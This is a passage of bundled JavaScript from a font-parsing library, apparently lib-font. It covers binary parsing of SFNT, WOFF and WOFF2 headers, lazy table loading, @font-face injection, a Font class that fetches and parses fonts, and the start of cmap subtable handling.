14250class lib_font_browser_Event {
14251 constructor( type, detail = {}, msg ) {
14252 this.type = type;
14253 this.detail = detail;
14254 this.msg = msg;
14255 Object.defineProperty( this, `__mayPropagate`, {
14256 enumerable: false,
14257 writable: true,
14258 } );
14259 this.__mayPropagate = true;
14260 }
14261 preventDefault() {}
14262 stopPropagation() {
14263 this.__mayPropagate = false;
14264 }
14265 valueOf() {
14266 return this;
14267 }
14268 toString() {
14269 return this.msg
14270 ? `[${ this.type } event]: ${ this.msg }`
14271 : `[${ this.type } event]`;
14272 }
14273}
14274class EventManager {
14275 constructor() {
14276 this.listeners = {};
14277 }
14278 addEventListener( type, listener, useCapture ) {
14279 let bin = this.listeners[ type ] || [];
14280 if ( useCapture ) bin.unshift( listener );
14281 else bin.push( listener );
14282 this.listeners[ type ] = bin;
14283 }
14284 removeEventListener( type, listener ) {
14285 let bin = this.listeners[ type ] || [];
14286 let pos = bin.findIndex( ( e ) => e === listener );
14287 if ( pos > -1 ) {
14288 bin.splice( pos, 1 );
14289 this.listeners[ type ] = bin;
14290 }
14291 }
14292 dispatch( event ) {
14293 let bin = this.listeners[ event.type ];
14294 if ( bin ) {
14295 for ( let l = 0, e = bin.length; l < e; l++ ) {
14296 if ( ! event.__mayPropagate ) break;
14297 bin[ l ]( event );
14298 }
14299 }
14300 }
14301}
14302const startDate = new Date( `1904-01-01T00:00:00+0000` ).getTime();
14303function asText( data ) {
14304 return Array.from( data )
14305 .map( ( v ) => String.fromCharCode( v ) )
14306 .join( `` );
14307}
14308class Parser {
14309 constructor( dict, dataview, name ) {
14310 this.name = ( name || dict.tag || `` ).trim();
14311 this.length = dict.length;
14312 this.start = dict.offset;
14313 this.offset = 0;
14314 this.data = dataview;
14315 [
14316 `getInt8`,
14317 `getUint8`,
14318 `getInt16`,
14319 `getUint16`,
14320 `getInt32`,
14321 `getUint32`,
14322 `getBigInt64`,
14323 `getBigUint64`,
14324 ].forEach( ( name ) => {
14325 let fn = name.replace( /get(Big)?/, '' ).toLowerCase();
14326 let increment = parseInt( name.replace( /[^\d]/g, '' ) ) / 8;
14327 Object.defineProperty( this, fn, {
14328 get: () => this.getValue( name, increment ),
14329 } );
14330 } );
14331 }
14332 get currentPosition() {
14333 return this.start + this.offset;
14334 }
14335 set currentPosition( position ) {
14336 this.start = position;
14337 this.offset = 0;
14338 }
14339 skip( n = 0, bits = 8 ) {
14340 this.offset += ( n * bits ) / 8;
14341 }
14342 getValue( type, increment ) {
14343 let pos = this.start + this.offset;
14344 this.offset += increment;
14345 try {
14346 return this.data[ type ]( pos );
14347 } catch ( e ) {
14348 console.error( `parser`, type, increment, this );
14349 console.error( `parser`, this.start, this.offset );
14350 throw e;
14351 }
14352 }
14353 flags( n ) {
14354 if ( n === 8 || n === 16 || n === 32 || n === 64 ) {
14355 return this[ `uint${ n }` ]
14356 .toString( 2 )
14357 .padStart( n, 0 )
14358 .split( `` )
14359 .map( ( v ) => v === '1' );
14360 }
14361 console.error(
14362 `Error parsing flags: flag types can only be 1, 2, 4, or 8 bytes long`
14363 );
14364 console.trace();
14365 }
14366 get tag() {
14367 const t = this.uint32;
14368 return asText( [
14369 ( t >> 24 ) & 255,
14370 ( t >> 16 ) & 255,
14371 ( t >> 8 ) & 255,
14372 t & 255,
14373 ] );
14374 }
14375 get fixed() {
14376 let major = this.int16;
14377 let minor = Math.round( ( 1e3 * this.uint16 ) / 65356 );
14378 return major + minor / 1e3;
14379 }
14380 get legacyFixed() {
14381 let major = this.uint16;
14382 let minor = this.uint16.toString( 16 ).padStart( 4, 0 );
14383 return parseFloat( `${ major }.${ minor }` );
14384 }
14385 get uint24() {
14386 return ( this.uint8 << 16 ) + ( this.uint8 << 8 ) + this.uint8;
14387 }
14388 get uint128() {
14389 let value = 0;
14390 for ( let i = 0; i < 5; i++ ) {
14391 let byte = this.uint8;
14392 value = value * 128 + ( byte & 127 );
14393 if ( byte < 128 ) break;
14394 }
14395 return value;
14396 }
14397 get longdatetime() {
14398 return new Date( startDate + 1e3 * parseInt( this.int64.toString() ) );
14399 }
14400 get fword() {
14401 return this.int16;
14402 }
14403 get ufword() {
14404 return this.uint16;
14405 }
14406 get Offset16() {
14407 return this.uint16;
14408 }
14409 get Offset32() {
14410 return this.uint32;
14411 }
14412 get F2DOT14() {
14413 const bits = p.uint16;
14414 const integer = [ 0, 1, -2, -1 ][ bits >> 14 ];
14415 const fraction = bits & 16383;
14416 return integer + fraction / 16384;
14417 }
14418 verifyLength() {
14419 if ( this.offset != this.length ) {
14420 console.error(
14421 `unexpected parsed table size (${ this.offset }) for "${ this.name }" (expected ${ this.length })`
14422 );
14423 }
14424 }
14425 readBytes( n = 0, position = 0, bits = 8, signed = false ) {
14426 n = n || this.length;
14427 if ( n === 0 ) return [];
14428 if ( position ) this.currentPosition = position;
14429 const fn = `${ signed ? `` : `u` }int${ bits }`,
14430 slice = [];
14431 while ( n-- ) slice.push( this[ fn ] );
14432 return slice;
14433 }
14434}
14435class ParsedData {
14436 constructor( parser ) {
14437 const pGetter = { enumerable: false, get: () => parser };
14438 Object.defineProperty( this, `parser`, pGetter );
14439 const start = parser.currentPosition;
14440 const startGetter = { enumerable: false, get: () => start };
14441 Object.defineProperty( this, `start`, startGetter );
14442 }
14443 load( struct ) {
14444 Object.keys( struct ).forEach( ( p ) => {
14445 let props = Object.getOwnPropertyDescriptor( struct, p );
14446 if ( props.get ) {
14447 this[ p ] = props.get.bind( this );
14448 } else if ( props.value !== undefined ) {
14449 this[ p ] = props.value;
14450 }
14451 } );
14452 if ( this.parser.length ) {
14453 this.parser.verifyLength();
14454 }
14455 }
14456}
14457class SimpleTable extends ParsedData {
14458 constructor( dict, dataview, name ) {
14459 const { parser: parser, start: start } = super(
14460 new Parser( dict, dataview, name )
14461 );
14462 const pGetter = { enumerable: false, get: () => parser };
14463 Object.defineProperty( this, `p`, pGetter );
14464 const startGetter = { enumerable: false, get: () => start };
14465 Object.defineProperty( this, `tableStart`, startGetter );
14466 }
14467}
14468function lazy$1( object, property, getter ) {
14469 let val;
14470 Object.defineProperty( object, property, {
14471 get: () => {
14472 if ( val ) return val;
14473 val = getter();
14474 return val;
14475 },
14476 enumerable: true,
14477 } );
14478}
14479class SFNT extends SimpleTable {
14480 constructor( font, dataview, createTable ) {
14481 const { p: p } = super( { offset: 0, length: 12 }, dataview, `sfnt` );
14482 this.version = p.uint32;
14483 this.numTables = p.uint16;
14484 this.searchRange = p.uint16;
14485 this.entrySelector = p.uint16;
14486 this.rangeShift = p.uint16;
14487 p.verifyLength();
14488 this.directory = [ ...new Array( this.numTables ) ].map(
14489 ( _ ) => new TableRecord( p )
14490 );
14491 this.tables = {};
14492 this.directory.forEach( ( entry ) => {
14493 const getter = () =>
14494 createTable(
14495 this.tables,
14496 {
14497 tag: entry.tag,
14498 offset: entry.offset,
14499 length: entry.length,
14500 },
14501 dataview
14502 );
14503 lazy$1( this.tables, entry.tag.trim(), getter );
14504 } );
14505 }
14506}
14507class TableRecord {
14508 constructor( p ) {
14509 this.tag = p.tag;
14510 this.checksum = p.uint32;
14511 this.offset = p.uint32;
14512 this.length = p.uint32;
14513 }
14514}
14515const gzipDecode = (inflate_default()).inflate || undefined;
14516let nativeGzipDecode = undefined;
14517// if ( ! gzipDecode ) {
14518// import( 'zlib' ).then( ( zlib ) => {
14519// nativeGzipDecode = ( buffer ) => zlib.unzipSync( buffer );
14520// } );
14521// }
14522class WOFF$1 extends SimpleTable {
14523 constructor( font, dataview, createTable ) {
14524 const { p: p } = super( { offset: 0, length: 44 }, dataview, `woff` );
14525 this.signature = p.tag;
14526 this.flavor = p.uint32;
14527 this.length = p.uint32;
14528 this.numTables = p.uint16;
14529 p.uint16;
14530 this.totalSfntSize = p.uint32;
14531 this.majorVersion = p.uint16;
14532 this.minorVersion = p.uint16;
14533 this.metaOffset = p.uint32;
14534 this.metaLength = p.uint32;
14535 this.metaOrigLength = p.uint32;
14536 this.privOffset = p.uint32;
14537 this.privLength = p.uint32;
14538 p.verifyLength();
14539 this.directory = [ ...new Array( this.numTables ) ].map(
14540 ( _ ) => new WoffTableDirectoryEntry( p )
14541 );
14542 buildWoffLazyLookups( this, dataview, createTable );
14543 }
14544}
14545class WoffTableDirectoryEntry {
14546 constructor( p ) {
14547 this.tag = p.tag;
14548 this.offset = p.uint32;
14549 this.compLength = p.uint32;
14550 this.origLength = p.uint32;
14551 this.origChecksum = p.uint32;
14552 }
14553}
14554function buildWoffLazyLookups( woff, dataview, createTable ) {
14555 woff.tables = {};
14556 woff.directory.forEach( ( entry ) => {
14557 lazy$1( woff.tables, entry.tag.trim(), () => {
14558 let offset = 0;
14559 let view = dataview;
14560 if ( entry.compLength !== entry.origLength ) {
14561 const data = dataview.buffer.slice(
14562 entry.offset,
14563 entry.offset + entry.compLength
14564 );
14565 let unpacked;
14566 if ( gzipDecode ) {
14567 unpacked = gzipDecode( new Uint8Array( data ) );
14568 } else if ( nativeGzipDecode ) {
14569 unpacked = nativeGzipDecode( new Uint8Array( data ) );
14570 } else {
14571 const msg = `no brotli decoder available to decode WOFF2 font`;
14572 if ( font.onerror ) font.onerror( msg );
14573 throw new Error( msg );
14574 }
14575 view = new DataView( unpacked.buffer );
14576 } else {
14577 offset = entry.offset;
14578 }
14579 return createTable(
14580 woff.tables,
14581 { tag: entry.tag, offset: offset, length: entry.origLength },
14582 view
14583 );
14584 } );
14585 } );
14586}
14587const brotliDecode = (unbrotli_default());
14588let nativeBrotliDecode = undefined;
14589// if ( ! brotliDecode ) {
14590// import( 'zlib' ).then( ( zlib ) => {
14591// nativeBrotliDecode = ( buffer ) => zlib.brotliDecompressSync( buffer );
14592// } );
14593// }
14594class WOFF2$1 extends SimpleTable {
14595 constructor( font, dataview, createTable ) {
14596 const { p: p } = super( { offset: 0, length: 48 }, dataview, `woff2` );
14597 this.signature = p.tag;
14598 this.flavor = p.uint32;
14599 this.length = p.uint32;
14600 this.numTables = p.uint16;
14601 p.uint16;
14602 this.totalSfntSize = p.uint32;
14603 this.totalCompressedSize = p.uint32;
14604 this.majorVersion = p.uint16;
14605 this.minorVersion = p.uint16;
14606 this.metaOffset = p.uint32;
14607 this.metaLength = p.uint32;
14608 this.metaOrigLength = p.uint32;
14609 this.privOffset = p.uint32;
14610 this.privLength = p.uint32;
14611 p.verifyLength();
14612 this.directory = [ ...new Array( this.numTables ) ].map(
14613 ( _ ) => new Woff2TableDirectoryEntry( p )
14614 );
14615 let dictOffset = p.currentPosition;
14616 this.directory[ 0 ].offset = 0;
14617 this.directory.forEach( ( e, i ) => {
14618 let next = this.directory[ i + 1 ];
14619 if ( next ) {
14620 next.offset =
14621 e.offset +
14622 ( e.transformLength !== undefined
14623 ? e.transformLength
14624 : e.origLength );
14625 }
14626 } );
14627 let decoded;
14628 let buffer = dataview.buffer.slice( dictOffset );
14629 if ( brotliDecode ) {
14630 decoded = brotliDecode( new Uint8Array( buffer ) );
14631 } else if ( nativeBrotliDecode ) {
14632 decoded = new Uint8Array( nativeBrotliDecode( buffer ) );
14633 } else {
14634 const msg = `no brotli decoder available to decode WOFF2 font`;
14635 if ( font.onerror ) font.onerror( msg );
14636 throw new Error( msg );
14637 }
14638 buildWoff2LazyLookups( this, decoded, createTable );
14639 }
14640}
14641class Woff2TableDirectoryEntry {
14642 constructor( p ) {
14643 this.flags = p.uint8;
14644 const tagNumber = ( this.tagNumber = this.flags & 63 );
14645 if ( tagNumber === 63 ) {
14646 this.tag = p.tag;
14647 } else {
14648 this.tag = getWOFF2Tag( tagNumber );
14649 }
14650 const transformVersion = ( this.transformVersion =
14651 ( this.flags & 192 ) >> 6 );
14652 let hasTransforms = transformVersion !== 0;
14653 if ( this.tag === `glyf` || this.tag === `loca` ) {
14654 hasTransforms = this.transformVersion !== 3;
14655 }
14656 this.origLength = p.uint128;
14657 if ( hasTransforms ) {
14658 this.transformLength = p.uint128;
14659 }
14660 }
14661}
14662function buildWoff2LazyLookups( woff2, decoded, createTable ) {
14663 woff2.tables = {};
14664 woff2.directory.forEach( ( entry ) => {
14665 lazy$1( woff2.tables, entry.tag.trim(), () => {
14666 const start = entry.offset;
14667 const end =
14668 start +
14669 ( entry.transformLength
14670 ? entry.transformLength
14671 : entry.origLength );
14672 const data = new DataView( decoded.slice( start, end ).buffer );
14673 try {
14674 return createTable(
14675 woff2.tables,
14676 { tag: entry.tag, offset: 0, length: entry.origLength },
14677 data
14678 );
14679 } catch ( e ) {
14680 console.error( e );
14681 }
14682 } );
14683 } );
14684}
14685function getWOFF2Tag( flag ) {
14686 return [
14687 `cmap`,
14688 `head`,
14689 `hhea`,
14690 `hmtx`,
14691 `maxp`,
14692 `name`,
14693 `OS/2`,
14694 `post`,
14695 `cvt `,
14696 `fpgm`,
14697 `glyf`,
14698 `loca`,
14699 `prep`,
14700 `CFF `,
14701 `VORG`,
14702 `EBDT`,
14703 `EBLC`,
14704 `gasp`,
14705 `hdmx`,
14706 `kern`,
14707 `LTSH`,
14708 `PCLT`,
14709 `VDMX`,
14710 `vhea`,
14711 `vmtx`,
14712 `BASE`,
14713 `GDEF`,
14714 `GPOS`,
14715 `GSUB`,
14716 `EBSC`,
14717 `JSTF`,
14718 `MATH`,
14719 `CBDT`,
14720 `CBLC`,
14721 `COLR`,
14722 `CPAL`,
14723 `SVG `,
14724 `sbix`,
14725 `acnt`,
14726 `avar`,
14727 `bdat`,
14728 `bloc`,
14729 `bsln`,
14730 `cvar`,
14731 `fdsc`,
14732 `feat`,
14733 `fmtx`,
14734 `fvar`,
14735 `gvar`,
14736 `hsty`,
14737 `just`,
14738 `lcar`,
14739 `mort`,
14740 `morx`,
14741 `opbd`,
14742 `prop`,
14743 `trak`,
14744 `Zapf`,
14745 `Silf`,
14746 `Glat`,
14747 `Gloc`,
14748 `Feat`,
14749 `Sill`,
14750 ][ flag & 63 ];
14751}
14752const tableClasses = {};
14753let tableClassesLoaded = false;
14754Promise.all( [
14755 Promise.resolve().then( function () {
14756 return cmap$1;
14757 } ),
14758 Promise.resolve().then( function () {
14759 return head$1;
14760 } ),
14761 Promise.resolve().then( function () {
14762 return hhea$1;
14763 } ),
14764 Promise.resolve().then( function () {
14765 return hmtx$1;
14766 } ),
14767 Promise.resolve().then( function () {
14768 return maxp$1;
14769 } ),
14770 Promise.resolve().then( function () {
14771 return name$1;
14772 } ),
14773 Promise.resolve().then( function () {
14774 return OS2$1;
14775 } ),
14776 Promise.resolve().then( function () {
14777 return post$1;
14778 } ),
14779 Promise.resolve().then( function () {
14780 return BASE$1;
14781 } ),
14782 Promise.resolve().then( function () {
14783 return GDEF$1;
14784 } ),
14785 Promise.resolve().then( function () {
14786 return GSUB$1;
14787 } ),
14788 Promise.resolve().then( function () {
14789 return GPOS$1;
14790 } ),
14791 Promise.resolve().then( function () {
14792 return SVG$1;
14793 } ),
14794 Promise.resolve().then( function () {
14795 return fvar$1;
14796 } ),
14797 Promise.resolve().then( function () {
14798 return cvt$1;
14799 } ),
14800 Promise.resolve().then( function () {
14801 return fpgm$1;
14802 } ),
14803 Promise.resolve().then( function () {
14804 return gasp$1;
14805 } ),
14806 Promise.resolve().then( function () {
14807 return glyf$1;
14808 } ),
14809 Promise.resolve().then( function () {
14810 return loca$1;
14811 } ),
14812 Promise.resolve().then( function () {
14813 return prep$1;
14814 } ),
14815 Promise.resolve().then( function () {
14816 return CFF$1;
14817 } ),
14818 Promise.resolve().then( function () {
14819 return CFF2$1;
14820 } ),
14821 Promise.resolve().then( function () {
14822 return VORG$1;
14823 } ),
14824 Promise.resolve().then( function () {
14825 return EBLC$1;
14826 } ),
14827 Promise.resolve().then( function () {
14828 return EBDT$1;
14829 } ),
14830 Promise.resolve().then( function () {
14831 return EBSC$1;
14832 } ),
14833 Promise.resolve().then( function () {
14834 return CBLC$1;
14835 } ),
14836 Promise.resolve().then( function () {
14837 return CBDT$1;
14838 } ),
14839 Promise.resolve().then( function () {
14840 return sbix$1;
14841 } ),
14842 Promise.resolve().then( function () {
14843 return COLR$1;
14844 } ),
14845 Promise.resolve().then( function () {
14846 return CPAL$1;
14847 } ),
14848 Promise.resolve().then( function () {
14849 return DSIG$1;
14850 } ),
14851 Promise.resolve().then( function () {
14852 return hdmx$1;
14853 } ),
14854 Promise.resolve().then( function () {
14855 return kern$1;
14856 } ),
14857 Promise.resolve().then( function () {
14858 return LTSH$1;
14859 } ),
14860 Promise.resolve().then( function () {
14861 return MERG$1;
14862 } ),
14863 Promise.resolve().then( function () {
14864 return meta$1;
14865 } ),
14866 Promise.resolve().then( function () {
14867 return PCLT$1;
14868 } ),
14869 Promise.resolve().then( function () {
14870 return VDMX$1;
14871 } ),
14872 Promise.resolve().then( function () {
14873 return vhea$1;
14874 } ),
14875 Promise.resolve().then( function () {
14876 return vmtx$1;
14877 } ),
14878] ).then( ( data ) => {
14879 data.forEach( ( e ) => {
14880 let name = Object.keys( e )[ 0 ];
14881 tableClasses[ name ] = e[ name ];
14882 } );
14883 tableClassesLoaded = true;
14884} );
14885function createTable( tables, dict, dataview ) {
14886 let name = dict.tag.replace( /[^\w\d]/g, `` );
14887 let Type = tableClasses[ name ];
14888 if ( Type ) return new Type( dict, dataview, tables );
14889 console.warn(
14890 `lib-font has no definition for ${ name }. The table was skipped.`
14891 );
14892 return {};
14893}
14894function loadTableClasses() {
14895 let count = 0;
14896 function checkLoaded( resolve, reject ) {
14897 if ( ! tableClassesLoaded ) {
14898 if ( count > 10 ) {
14899 return reject( new Error( `loading took too long` ) );
14900 }
14901 count++;
14902 return setTimeout( () => checkLoaded( resolve ), 250 );
14903 }
14904 resolve( createTable );
14905 }
14906 return new Promise( ( resolve, reject ) => checkLoaded( resolve ) );
14907}
14908function getFontCSSFormat( path, errorOnStyle ) {
14909 let pos = path.lastIndexOf( `.` );
14910 let ext = ( path.substring( pos + 1 ) || `` ).toLowerCase();
14911 let format = {
14912 ttf: `truetype`,
14913 otf: `opentype`,
14914 woff: `woff`,
14915 woff2: `woff2`,
14916 }[ ext ];
14917 if ( format ) return format;
14918 let msg = {
14919 eot: `The .eot format is not supported: it died in January 12, 2016, when Microsoft retired all versions of IE that didn't already support WOFF.`,
14920 svg: `The .svg format is not supported: SVG fonts (not to be confused with OpenType with embedded SVG) were so bad we took the entire fonts chapter out of the SVG specification again.`,
14921 fon: `The .fon format is not supported: this is an ancient Windows bitmap font format.`,
14922 ttc: `Based on the current CSS specification, font collections are not (yet?) supported.`,
14923 }[ ext ];
14924 if ( ! msg ) msg = `${ path } is not a known webfont format.`;
14925 if ( errorOnStyle ) {
14926 throw new Error( msg );
14927 } else {
14928 console.warn( `Could not load font: ${ msg }` );
14929 }
14930}
14931async function setupFontFace( name, url, options = {} ) {
14932 if ( ! globalThis.document ) return;
14933 let format = getFontCSSFormat( url, options.errorOnStyle );
14934 if ( ! format ) return;
14935 let style = document.createElement( `style` );
14936 style.className = `injected-by-Font-js`;
14937 let rules = [];
14938 if ( options.styleRules ) {
14939 rules = Object.entries( options.styleRules ).map(
14940 ( [ key, value ] ) => `${ key }: ${ value };`
14941 );
14942 }
14943 style.textContent = `\n@font-face {\n font-family: "${ name }";\n ${ rules.join(
14944 `\n\t`
14945 ) }\n src: url("${ url }") format("${ format }");\n}`;
14946 globalThis.document.head.appendChild( style );
14947 return style;
14948}
14949const TTF = [ 0, 1, 0, 0 ];
14950const OTF = [ 79, 84, 84, 79 ];
14951const WOFF = [ 119, 79, 70, 70 ];
14952const WOFF2 = [ 119, 79, 70, 50 ];
14953function match( ar1, ar2 ) {
14954 if ( ar1.length !== ar2.length ) return;
14955 for ( let i = 0; i < ar1.length; i++ ) {
14956 if ( ar1[ i ] !== ar2[ i ] ) return;
14957 }
14958 return true;
14959}
14960function validFontFormat( dataview ) {
14961 const LEAD_BYTES = [
14962 dataview.getUint8( 0 ),
14963 dataview.getUint8( 1 ),
14964 dataview.getUint8( 2 ),
14965 dataview.getUint8( 3 ),
14966 ];
14967 if ( match( LEAD_BYTES, TTF ) || match( LEAD_BYTES, OTF ) ) return `SFNT`;
14968 if ( match( LEAD_BYTES, WOFF ) ) return `WOFF`;
14969 if ( match( LEAD_BYTES, WOFF2 ) ) return `WOFF2`;
14970}
14971function checkFetchResponseStatus( response ) {
14972 if ( ! response.ok ) {
14973 throw new Error(
14974 `HTTP ${ response.status } - ${ response.statusText }`
14975 );
14976 }
14977 return response;
14978}
14979class Font extends EventManager {
14980 constructor( name, options = {} ) {
14981 super();
14982 this.name = name;
14983 this.options = options;
14984 this.metrics = false;
14985 }
14986 get src() {
14987 return this.__src;
14988 }
14989 set src( src ) {
14990 this.__src = src;
14991 ( async () => {
14992 if ( globalThis.document && ! this.options.skipStyleSheet ) {
14993 await setupFontFace( this.name, src, this.options );
14994 }
14995 this.loadFont( src );
14996 } )();
14997 }
14998 async loadFont( url, filename ) {
14999 fetch( url )
15000 .then(
15001 ( response ) =>
15002 checkFetchResponseStatus( response ) &&
15003 response.arrayBuffer()
15004 )
15005 .then( ( buffer ) =>
15006 this.fromDataBuffer( buffer, filename || url )
15007 )
15008 .catch( ( err ) => {
15009 const evt = new lib_font_browser_Event(
15010 `error`,
15011 err,
15012 `Failed to load font at ${ filename || url }`
15013 );
15014 this.dispatch( evt );
15015 if ( this.onerror ) this.onerror( evt );
15016 } );
15017 }
15018 async fromDataBuffer( buffer, filenameOrUrL ) {
15019 this.fontData = new DataView( buffer );
15020 let type = validFontFormat( this.fontData );
15021 if ( ! type ) {
15022 throw new Error(
15023 `${ filenameOrUrL } is either an unsupported font format, or not a font at all.`
15024 );
15025 }
15026 await this.parseBasicData( type );
15027 const evt = new lib_font_browser_Event( 'load', { font: this } );
15028 this.dispatch( evt );
15029 if ( this.onload ) this.onload( evt );
15030 }
15031 async parseBasicData( type ) {
15032 return loadTableClasses().then( ( createTable ) => {
15033 if ( type === `SFNT` ) {
15034 this.opentype = new SFNT( this, this.fontData, createTable );
15035 }
15036 if ( type === `WOFF` ) {
15037 this.opentype = new WOFF$1( this, this.fontData, createTable );
15038 }
15039 if ( type === `WOFF2` ) {
15040 this.opentype = new WOFF2$1( this, this.fontData, createTable );
15041 }
15042 return this.opentype;
15043 } );
15044 }
15045 getGlyphId( char ) {
15046 return this.opentype.tables.cmap.getGlyphId( char );
15047 }
15048 reverse( glyphid ) {
15049 return this.opentype.tables.cmap.reverse( glyphid );
15050 }
15051 supports( char ) {
15052 return this.getGlyphId( char ) !== 0;
15053 }
15054 supportsVariation( variation ) {
15055 return (
15056 this.opentype.tables.cmap.supportsVariation( variation ) !== false
15057 );
15058 }
15059 measureText( text, size = 16 ) {
15060 if ( this.__unloaded )
15061 throw new Error(
15062 'Cannot measure text: font was unloaded. Please reload before calling measureText()'
15063 );
15064 let d = document.createElement( 'div' );
15065 d.textContent = text;
15066 d.style.fontFamily = this.name;
15067 d.style.fontSize = `${ size }px`;
15068 d.style.color = `transparent`;
15069 d.style.background = `transparent`;
15070 d.style.top = `0`;
15071 d.style.left = `0`;
15072 d.style.position = `absolute`;
15073 document.body.appendChild( d );
15074 let bbox = d.getBoundingClientRect();
15075 document.body.removeChild( d );
15076 const OS2 = this.opentype.tables[ 'OS/2' ];
15077 bbox.fontSize = size;
15078 bbox.ascender = OS2.sTypoAscender;
15079 bbox.descender = OS2.sTypoDescender;
15080 return bbox;
15081 }
15082 unload() {
15083 if ( this.styleElement.parentNode ) {
15084 this.styleElement.parentNode.removeElement( this.styleElement );
15085 const evt = new lib_font_browser_Event( 'unload', { font: this } );
15086 this.dispatch( evt );
15087 if ( this.onunload ) this.onunload( evt );
15088 }
15089 this._unloaded = true;
15090 }
15091 load() {
15092 if ( this.__unloaded ) {
15093 delete this.__unloaded;
15094 document.head.appendChild( this.styleElement );
15095 const evt = new lib_font_browser_Event( 'load', { font: this } );
15096 this.dispatch( evt );
15097 if ( this.onload ) this.onload( evt );
15098 }
15099 }
15100}
15101globalThis.Font = Font;
15102class Subtable extends ParsedData {
15103 constructor( p, plaformID, encodingID ) {
15104 super( p );
15105 this.plaformID = plaformID;
15106 this.encodingID = encodingID;
15107 }
15108}
15109class Format0 extends Subtable {
15110 constructor( p, platformID, encodingID ) {
15111 super( p, platformID, encodingID );
15112 this.format = 0;
15113 this.length = p.uint16;
15114 this.language = p.uint16;
15115 this.glyphIdArray = [ ...new Array( 256 ) ].map( ( _ ) => p.uint8 );
15116 }
15117 supports( charCode ) {
15118 if ( charCode.charCodeAt ) {
15119 charCode = -1;
15120 console.warn(
15121 `supports(character) not implemented for cmap subtable format 0. only supports(id) is implemented.`
15122 );
15123 }
15124 return 0 <= charCode && charCode <= 255;
15125 }
15126 reverse( glyphID ) {
15127 console.warn( `reverse not implemented for cmap subtable format 0` );
15128 return {};
15129 }
15130 getSupportedCharCodes() {
15131 return [ { start: 1, end: 256 } ];
15132 }
15133}
15134class Format2 extends Subtable {
15135 constructor( p, platformID, encodingID ) {
15136 super( p, platformID, encodingID );
15137 this.format = 2;
15138 this.length = p.uint16;
15139 this.language = p.uint16;
15140 this.subHeaderKeys = [ ...new Array( 256 ) ].map( ( _ ) => p.uint16 );
15141 const subHeaderCount = Math.max( ...this.subHeaderKeys );
15142 const subHeaderOffset = p.currentPosition;
15143 lazy$1( this, `subHeaders`, () => {
15144 p.currentPosition = subHeaderOffset;
15145 return [ ...new Array( subHeaderCount ) ].map(
15146 ( _ ) => new SubHeader( p )
15147 );
15148 } );
15149 const glyphIndexOffset = subHeaderOffset + subHeaderCount * 8;
15150 lazy$1( this, `glyphIndexArray`, () => {
15151 p.currentPosition = glyphIndexOffset;
15152 return [ ...new Array( subHeaderCount ) ].map( ( _ ) => p.uint16 );
15153 } );
15154 }
15155 supports( charCode ) {
15156 if ( charCode.charCodeAt ) {
15157 charCode = -1;
15158 console.warn(
15159 `supports(character) not implemented for cmap subtable format 2. only supports(id) is implemented.`
15160 );
15161 }
15162 const low = charCode && 255;
15163 const high = charCode && 65280;
15164 const subHeaderKey = this.subHeaders[ high ];
15165 const subheader = this.subHeaders[ subHeaderKey ];
15166 const first = subheader.firstCode;
15167 const last = first + subheader.entryCount;
15168 return first <= low && low <= last;
15169 }
15170 reverse( glyphID ) {
15171 console.warn( `reverse not implemented for cmap subtable format 2` );
15172 return {};
15173 }
15174 getSupportedCharCodes( preservePropNames = false ) {
15175 if ( preservePropNames ) {
15176 return this.subHeaders.map( ( h ) => ( {
15177 firstCode: h.firstCode,
15178 lastCode: h.lastCode,
15179 } ) );
15180 }
15181 return this.subHeaders.map( ( h ) => ( {
15182 start: h.firstCode,
15183 end: h.lastCode,
15184 } ) );
15185 }
15186}
15187class SubHeader {
15188 constructor( p ) {
15189 this.firstCode = p.uint16;
15190 this.entryCount = p.uint16;
15191 this.lastCode = this.first + this.entryCount;
15192 this.idDelta = p.int16;
15193 this.idRangeOffset = p.uint16;
15194 }
15195}
15196class Format4 extends Subtable {
15197 constructor( p, platformID, encodingID ) {
15198 super( p, platformID, encodingID );
15199 this.format = 4;
15200 this.length = p.uint16;
15201 this.language = p.uint16;
15202 this.segCountX2 = p.uint16;
15203 this.segCount = this.segCountX2 / 2;
15204 this.searchRange = p.uint16;
15205 this.entrySelector = p.uint16;
15206 this.rangeShift = p.uint16;
15207 const endCodePosition = p.currentPosition;
15208 lazy$1( this, `endCode`, () =>
15209 p.readBytes( this.segCount, endCodePosition, 16 )
15210 );
15211 const startCodePosition = endCodePosition + 2 + this.segCountX2;
15212 lazy$1( this, `startCode`, () =>
15213 p.readBytes( this.segCount, startCodePosition, 16 )
15214 );
15215 const idDeltaPosition = startCodePosition + this.segCountX2;
15216 lazy$1( this, `idDelta`, () =>
15217 p.readBytes( this.segCount, idDeltaPosition, 16, true )
15218 );
15219 const idRangePosition = idDeltaPosition + this.segCountX2;
15220 lazy$1( this, `idRangeOffset`, () =>
15221 p.readBytes( this.segCount, idRangePosition, 16 )
15222 );
15223 const glyphIdArrayPosition = idRangePosition + this.segCountX2;
15224 const glyphIdArrayLength =
15225 this.length - ( glyphIdArrayPosition - this.tableStart );
15226 lazy$1( this, `glyphIdArray`, () =>
15227 p.readBytes( glyphIdArrayLength, glyphIdArrayPosition, 16 )
15228 );
15229 lazy$1( this, `segments`, () =>
15230 this.buildSegments( idRangePosition, glyphIdArrayPosition, p )
15231 );
15232 }
15233 buildSegments( idRangePosition, glyphIdArrayPosition, p ) {
15234 const build = ( _, i ) => {
15235 let startCode = this.startCode[ i ],
15236 endCode = this.endCode[ i ],
15237 idDelta = this.idDelta[ i ],
15238 idRangeOffset = this.idRangeOffset[ i ],
15239 idRangeOffsetPointer = idRangePosition + 2 * i,
15240 glyphIDs = [];
15241 if ( idRangeOffset === 0 ) {
15242 for (
15243 let i = startCode + idDelta, e = endCode + idDelta;
15244 i <= e;
15245 i++
15246 ) {
15247 glyphIDs.push( i );
15248 }
15249 } else {
15250 for ( let i = 0, e = endCode - startCode; i <= e; i++ ) {
15251 p.currentPosition =
15252 idRangeOffsetPointer + idRangeOffset + i * 2;
15253 glyphIDs.push( p.uint16 );
15254 }
15255 }
15256 return {
15257 startCode: startCode,
15258 endCode: endCode,
15259 idDelta: idDelta,
15260 idRangeOffset: idRangeOffset,
15261 glyphIDs: glyphIDs,
15262 };
15263 };
15264 return [ ...new Array( this.segCount ) ].map( build );
15265 }
15266 reverse( glyphID ) {
15267 let s = this.segments.find( ( v ) => v.glyphIDs.includes( glyphID ) );
15268 if ( ! s ) return {};
15269 const code = s.startCode + s.glyphIDs.indexOf( glyphID );
15270 return { code: code, unicode: String.fromCodePoint( code ) };
15271 }
15272 getGlyphId( charCode ) {
15273 if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
15274 if ( 55296 <= charCode && charCode <= 57343 ) return 0;
